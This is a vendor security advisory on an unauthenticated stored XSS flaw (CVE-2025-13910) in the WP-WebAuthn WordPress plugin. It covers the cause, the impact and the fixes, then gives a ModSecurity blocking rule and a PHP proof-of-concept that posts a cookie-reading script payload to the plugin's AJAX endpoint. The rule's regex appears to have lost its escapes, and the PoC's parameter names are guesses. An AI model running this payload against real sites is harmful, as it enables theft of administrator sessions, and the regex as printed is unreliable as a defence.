Atomic Edge analysis of CVE-2025-13910 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the WP-WebAuthn WordPress plugin versions up to and including 1.3.4. The vulnerability exists in the `wwa_auth` AJAX endpoint. Attackers can inject malicious scripts that execute when administrators view the plugin’s log page, provided logging is enabled in the plugin settings. The CVSS score of 6.1 reflects a medium severity attack with network accessibility and low user interaction requirements.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied attributes logged by the plugin. The vulnerability description explicitly states this combination of failures. Without code access, we infer the plugin likely receives user input via the AJAX endpoint, stores it without proper sanitization in a log file or database, and later displays that log content without adequate escaping. The CWE-79 classification confirms improper neutralization of input during web page generation.
Exploitation requires sending a crafted request to the WordPress AJAX handler. Attackers target `/wp-admin/admin-ajax.php` with the `action` parameter set to `wwa_auth`. The malicious payload would be placed in another parameter processed by the endpoint. A typical XSS payload might be `alert(document.cookie)` or similar JavaScript. The plugin logs this input, and when an administrator views the log page, the script executes in their browser session. No authentication is required for the initial injection.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize all user input before storage using WordPress functions like `sanitize_text_field()` or `wp_kses()`. For output, the plugin must escape logged data before rendering it in HTML context using functions like `esc_html()` or `esc_attr()`. A defense-in-depth approach would also validate that logged data matches expected patterns for WebAuthn authentication attributes.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an administrator’s browser session. This can lead to session hijacking, site defacement, or privilege escalation. Attackers could create new administrative accounts, modify plugin settings, or inject backdoors. The stored nature means a single payload affects all administrators who view the log page. The requirement for logging to be enabled limits the attack surface but does not eliminate the risk.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-13910 (metadata-based)
# Blocks exploitation via the wwa_auth AJAX endpoint
# This rule matches the exact AJAX action and detects XSS payloads in common WebAuthn parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202513910,phase:2,deny,status:403,chain,msg:'CVE-2025-13910 via WP-WebAuthn AJAX endpoint',severity:'CRITICAL',tag:'CVE-2025-13910',tag:'WordPress',tag:'Plugin',tag:'WP-WebAuthn',tag:'XSS'"
SecRule ARGS_POST:action "@streq wwa_auth" "chain"
SecRule ARGS_POST|ARGS_GET "@rx <script[^>]*>|javascript:|onloads*=|onerrors*=|onmouseovers*="
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:removeWhitespace"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13910 - WP-WebAuthn <= 1.3.4 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-13910
* Assumptions:
* 1. Target runs WP-WebAuthn <= 1.3.4
* 2. Plugin logging is enabled in settings
* 3. The wwa_auth AJAX endpoint accepts unauthenticated requests
* 4. The endpoint logs user-supplied parameters without sanitization
*/
$target_url = 'https://example.com';
// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// XSS payload - will execute when admin views plugin log page
$payload = '<script>alert("Atomic Edge CVE-2025-13910 PoC: "+document.cookie)</script>';
// Prepare POST data
$post_data = array(
'action' => 'wwa_auth',
// Assuming the endpoint accepts a parameter that gets logged
// Parameter name is inferred from typical WebAuthn authentication flow
'user_agent' => $payload,
// Include other likely parameters to make request appear legitimate
'credential_id' => 'test',
'client_data' => 'test',
'authenticator_data' => 'test',
'signature' => 'test'
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check response
if ($http_code == 200) {
echo "Payload sent successfully.n";
echo "Check the WP-WebAuthn log page for XSS execution.n";
} else {
echo "Request failed with HTTP code: " . $http_code . "n";
}
curl_close($ch);
?>
